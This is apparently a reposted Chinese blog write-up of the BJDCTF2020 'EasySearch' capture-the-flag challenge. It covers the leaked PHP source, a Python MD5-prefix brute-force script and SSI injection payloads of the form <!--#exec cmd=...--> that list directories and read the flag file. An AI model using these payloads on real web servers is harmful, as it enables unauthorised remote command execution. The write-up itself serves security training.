当前位置:网站首页>[BJDCTF2020]EasySearch
[BJDCTF2020]EasySearch
2022-08-05 03:52:00 【pakho_C】
[BJDCTF2020]EasySearch
一个登陆页面,尝试了弱口令 爆破 注入无果
扫描目录发现index.php.swp
<?php
ob_start();
function get_hash(){
$chars = '[email protected]#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
代码审计:
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
只要密码的md5值的前6位为6d0bc1即可登陆成功
参考爆破密码脚本:
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()#获取摘要值
if a[0:6] == '6d0bc1':
print("find password!"+str(i))
break
得到密码为 2020666
接着看到shtml页面
SSI注入参考:SSI注入
代码中生成了一个shtml页面,登陆后无法查看,抓包观察返回包:
访问该页面:
得到登陆信息
这里用到shtml,HTML是静态的,而shtml基于SSI技术,当有服务器端可执行脚本时被当作一种动态编程语言,所以可以注入,也可以用来远程命令执行。
它的注入格式是这样的:<!--#exec cmd="命令"-->
所以只需要将username设置为payload即可
首先探测根目录:<!--#exec cmd="ls /"-->
根目录没有,那查看当前目录:<!--#exec cmd="ls"-->
也没有
查看上级目录:<!--#exec cmd="ls ../"-->
找到flag文件
查看flag:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&&password=2020666
边栏推荐
- 基于生长的棋盘格角点检测方法
- MRTK3开发Hololens应用-手势拖拽、旋转 、缩放物体实现
- UE4 在游戏运行时更改变量 (通过鼠标滑轮来更改第一人称角色的最大行走速度)
- 将故事写成我们
- UE4 opens door via interaction (keyboard key)
- Walter talked little knowledge | "remote passthrough" that something
- You may use special comments to disable some warnings. 报错解决的三种方式
- ffmpeg 枚举decoders, encoders 分析
- shell脚本:for循环与while循环
- Use CH341A to program external Flash (W25Q16JV)
猜你喜欢
UI自动化测试 App的WebView页面中,当搜索栏无搜索按钮时处理方法
UE4 通过互动(键盘按键)开门
从企业的视角来看,数据中台到底意味着什么?
UE4 opens door via interaction (keyboard key)
Swing有几种常用的事件处理方式?如何监听事件?
MySql index learning and use; (I think it is detailed enough)
2022 High-level installation, maintenance, and removal of exam questions mock exam question bank and online mock exam
The most effective seven performance testing techniques of software testing techniques
Confessing the era of digital transformation, Speed Cloud engraves a new starting point for value
Why is the pca component not associated
随机推荐
Common open source databases under Linux, how many do you know?
Dameng 8 database export and import
达梦8数据库导出导入
Acid (ACID) Base (BASE) Principles for Database Design
Swing有几种常用的事件处理方式?如何监听事件?
2022.8.4-----leetcode.1403
Walter talked little knowledge | "remote passthrough" that something
How do newcomers get started and learn software testing?
Bosses, I noticed that a mysql CDC connector parameters scan. The incremental. Sna
DEJA_VU3D - Cesium功能集 之 056-智图Arcgis地图纠偏
UE4 第一人称角色模板 添加生命值和调试伤害
presto启动成功后出现2022-08-04T17:50:58.296+0800 ERROR Announcer-3 io.airlift.discovery.client.Announcer
905. 区间选点
cross domain solution
Redis key基本命令
Redis1:Redis介绍、Redis基本特性、关系型数据库、非关系型数据库、数据库发展阶段
The most comprehensive exam questions for software testing engineers in 2022
[Filter tracking] based on matlab unscented Kalman filter inertial navigation + DVL combined navigation [including Matlab source code 2019]
markdown如何换行——md文件
从企业的视角来看,数据中台到底意味着什么?